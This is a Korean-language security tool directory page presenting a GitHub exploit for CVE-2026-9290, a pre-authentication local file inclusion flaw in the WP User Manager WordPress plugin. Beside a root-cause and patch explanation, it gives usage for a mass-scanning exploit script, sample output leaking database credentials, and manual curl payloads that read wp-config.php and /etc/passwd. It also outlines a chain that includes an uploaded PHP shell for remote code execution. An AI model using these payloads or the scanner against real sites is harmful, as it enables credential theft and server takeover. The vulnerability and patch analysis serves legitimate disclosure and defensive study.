Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-9290 — WP User Manager <= 2.9.17에서 tab 매개변수의 경로 탐색을 통한 인증 전 로컬 파일 포함 (CVSS 7.5) | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-9290
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubshinthink/cve-2026-9290

CVE-2026-9290

WP User Manager <= 2.9.17에서 tab 매개변수의 경로 탐색을 통한 인증 전 로컬 파일 포함 (CVSS 7.5)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-9290 — WP User Manager LFI to RCE 익스플로잇

'tab' 매개변수를 통한 인증 전 경로 탐색 → 로컬 파일 포함


개요

CVE-2026-9290는 WP User Manager – User Profile Builder & Membership WordPress 플러그인 (≤ 2.9.17)에서 발견된 높은 심각도(CVSS 7.5)의 인증되지 않은 로컬 파일 포함 취약점입니다.

wpum_get_active_profile_tab() 함수는 tab 쿼리 매개변수를 화이트리스트 검증 없이 Gamajo 템플릿 로더에 직접 전달합니다. tab 값에 포함된 경로 탐색 시퀀스는 인증되지 않은 공격자가 PHP의 include()를 통해 서버에서 임의의 파일을 포함할 수 있게 합니다.

영향받는 버전

WP User Manager 버전상태
≤ 2.9.17취약
≥ 2.9.18패치됨

취약점 메커니즘

근본 원인

includes/functions.php에서 wpum_get_active_profile_tab() 함수는 화이트리스트 검증 없이 tab 쿼리 매개변수를 가져옵니다:

root@kitploit:~
// 취약: $tab 값에 대한 화이트리스트 검사 없음
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

이 값은 템플릿 파일을 확인하고 포함하는 Gamajo_Template_Loader::get_template_part()에 전달됩니다:

root@kitploit:~
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

sanitize_text_field()는 경로 탐색 시퀀스를 제거하지 않습니다. ../../../wp-config가 통과합니다.

공격 흐름

root@kitploit:~
GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

주요 파일

패치 (2.9.18)

PR #445에서 화이트리스트 검증 추가:

root@kitploit:~
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

사용법

root@kitploit:~
# 단일 대상 — LFI 프로브
python cve_2026_9290.py -t target.com

# 대량 스캔
python cve_2026_9290.py -f targets.txt -v

# LFI를 통해 특정 파일 읽기
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# 결과 저장
python cve_2026_9290.py -f targets.txt -o lfi.txt

인수

root@kitploit:~
  -t, --target      단일 대상 (도메인 또는 IP)
  -f, --file        대상 목록, 한 줄에 하나씩
  --read PATH       LFI로 특정 파일 읽기
  -o, --output      결과를 파일에 저장
  --threads         작업자 수 (기본값: 25)
  -v, --verbose     자세한 출력 보기

개념 증명

탐지 및 LFI

root@kitploit:~
$ python cve_2026_9290.py -t target.com -v
root@kitploit:~
  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

대량 스캔

root@kitploit:~
  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

수동 악용

1단계 — WP User Manager 탐지

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

2단계 — 프로필 페이지 찾기

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

3단계 — tab 매개변수를 통한 LFI

root@kitploit:~
# wp-config.php 읽기
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# /etc/passwd 읽기  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — 업로드된 PHP 쉘 포함
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

RCE 체인

  1. LFI → wp-config.php 읽기 → DB 자격 증명 획득
  2. 다른 플러그인/미디어 엔드포인트를 통해 PHP 쉘 업로드
  3. LFI → 업로드된 쉘 포함 → RCE

면책 조항

교육 및 승인된 테스트 목적으로만 사용하세요.

이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 대상으로 합니다.

컴퓨터 시스템에 대한 무단 접근은 불법이며 다음을 위반할 수 있습니다:

  • 미국: 컴퓨터 사기 및 남용 법 (18 U.S.C. 1030)
  • 인도네시아: UU ITE Pasal 30 & 46
  • 유럽 연합: 지침 2013/40/EU
  • 영국: 컴퓨터 남용 법 1990

저자는 오용에 대한 책임을 지지 않습니다.


참조

자원링크

이 프로젝트는 WP User Manager 또는 Carbon Fields와 관련이 없습니다.

도구 다운로드
파일라인역할
includes/functions.php#L955wpum_get_active_profile_tab() — 화이트리스트 없음
templates/profile.php#L52프로필 템플릿 범위
class-gamajo-template-loader.php#L226검증되지 않은 include()
GitHub 권고GHSA-83v9-496w-54wx
Wordfence 권고wordfence.com
패치 PRGitHub #445
IONIX 분석ionix.io